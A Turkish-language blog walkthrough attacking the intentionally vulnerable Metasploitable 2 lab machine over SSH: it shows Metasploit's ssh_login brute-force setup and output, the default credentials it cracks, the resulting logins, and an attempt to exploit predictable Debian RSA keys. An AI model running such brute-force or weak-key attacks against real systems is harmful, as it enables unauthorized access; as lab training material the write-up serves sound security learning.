SECURITY GENEL

Metasploitable 2 Exploit ssh

Metasploitable 2 Exploit ssh

Exploit # 13 : SSH

Sistemde ssh servisinin bulunduğu nmap çıktısından görülebilir:

22/tcp   open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

İyi bir kelime listesi ile ssh servisine bruteforce saldırısı sonuç verebilir.

msf > search ssh login

 

Matching Modules

================

  Name                                   Disclosure Date       Rank    Description

  —-                                   —————       —-    ———–

  auxiliary/scanner/ssh/ssh_login                                 normal SSH Login Check Scanner

  auxiliary/scanner/ssh/ssh_login_pubkey                          normal SSH Public Key Login Scanner

  exploit/linux/ssh/symantec_smg_ssh     2012-08-27 00:00:00 UTC  excellent  Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability

  exploit/unix/ssh/tectia_passwd_changereq  2012-12-01 00:00:00 UTC  excellent  Tectia SSH USERAUTH Change Request Password Reset Vulnerability

  post/windows/gather/credentials/mremote                         normal Windows Gather mRemote Saved Password Extraction

 

msf > use auxiliary/scanner/ssh/ssh_login

msf auxiliary(ssh_login) > show options

 

Module options (auxiliary/scanner/ssh/ssh_login):

  Name           Current Setting  Required  Description

  —-           —————  ——–  ———–

  BLANK_PASSWORDS   true          no     Try blank passwords for all users

  BRUTEFORCE_SPEED  5             yes    How fast to bruteforce, from 0 to 5

  PASSWORD                        no     A specific password to authenticate with

  PASS_FILE                       no     File containing passwords, one per line

  RHOSTS                          yes    The target address range or CIDR identifier

  RPORT          22            yes    The target port

  STOP_ON_SUCCESS   false         yes    Stop guessing when a credential works for a host

  THREADS        1             yes    The number of concurrent threads

  USERNAME                        no     A specific username to authenticate as

  USERPASS_FILE                   no     File containing users and passwords separated by space, one pair per line

  USER_AS_PASS   true          no     Try the username as the password for all users

  USER_FILE                       no     File containing usernames, one per line

  VERBOSE        true          yes    Whether to print output for all attempts

 

msf auxiliary(ssh_login) > set RHOSTS 172.16.52.133

RHOSTS => 172.16.52.133

msf auxiliary(ssh_login) > set PASS_FILE /root/Desktop/password/500-worst-passwords.txt

PASS_FILE => /root/Desktop/password/500-worst-passwords.txt

msf auxiliary(ssh_login) > set USER_FILE /root/Desktop/password/username.txt

USER_FILE => /root/Desktop/password/username.txt

msf auxiliary(ssh_login) > exploit

 

[*] 172.16.52.133:22 SSH – Starting bruteforce

 

[*] 172.16.52.133:22 SSH – [0010/4516] – Trying: username: ‘msfadmin’ with password: ‘msfadmin’

[*] Command shell session 1 opened (172.16.52.128:42168 -> 172.16.52.133:22) at 2013-07-28 17:17:19 +0300

[+] 172.16.52.133:22 SSH – [0010/4516] – Success: ‘msfadmin’:’msfadmin’ ‘uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ‘

[*] 172.16.52.133:22 SSH – [0011/4516] – Trying: username: ‘admin’ with password: ‘admin’

[-] 172.16.52.133:22 SSH – [0011/4516] – Failed: ‘admin’:’admin’

[*] 172.16.52.133:22 SSH – [0012/4516] – Trying: username: ‘root’ with password: ‘root’

[-] 172.16.52.133:22 SSH – [0012/4516] – Failed: ‘root’:’root’

[*] 172.16.52.133:22 SSH – [0013/4516] – Trying: username: ‘user’ with password: ‘user’

[*] Command shell session 2 opened (172.16.52.128:40412 -> 172.16.52.133:22) at 2013-07-28 17:17:24 +0300

[+] 172.16.52.133:22 SSH – [0013/4516] – Success: ‘user’:’user’ ‘uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ‘

 

Bu verilerle bağlantı sağlanabilir.

 

#ssh msfadmin@172.16.52.133

msfadmin@172.16.52.133’s password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

 

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

 

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

 

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

No mail.

Last login: Tue Jul 30 10:30:21 2013

msfadmin@metasploitable:~$ uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

msfadmin@metasploitable:~$ whoami

msfadmin

msfadmin@metasploitable:~/.ssh$ cat id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

 

Bu içerik ssh bağlantısı için üretilen bir anahtardır. Bu anahtarı kullanarak kullanıcı parolasını ihtiyaç duymadan da ssh ile bağlantı kurabiliriz.

Debian sistemlerde üretilen RSA keylerinin sayısı bellidir. Elimizdeki anahtarı bu keylerle karşılaştırıp , karşılık gelen .pub dosyasıyla sisteme giriş yapılabilir. SSH anahtarları (RSA 2048) linkinden indirilebilir. Bu keylerin olduğu klasöre gidip pub dosyası içerikleriyle karşılaştırılırsa

 

#root@kali:~/rsa/2048# grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w

 

57c3115d77c56390332dc5c49978627a-5429.pub

 

Bize bu kodu içeren anahtarı verdi . Bununla aşağıdaki sisteme giriş yapılabilir.

 

root@kali:~/rsa/2048# ssh -i 57c3115d77c56390332dc5c49978627a-5429.pub msfadmin@172.16.52.133

Public key 57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a blacklisted (see ssh-vulnkey(1)); refusing to send it

msfadmin@172.16.52.133’s password:

 

 

#ssh user@172.16.52.133

user@172.16.52.133’s password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

 

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

Last login: Wed Jul 31 05:35:43 2013 from 172.16.52.128

user@metasploitable:~$uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

 

Etiketler

İlgili Makaleler

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Başa dön tuşu
Kapalı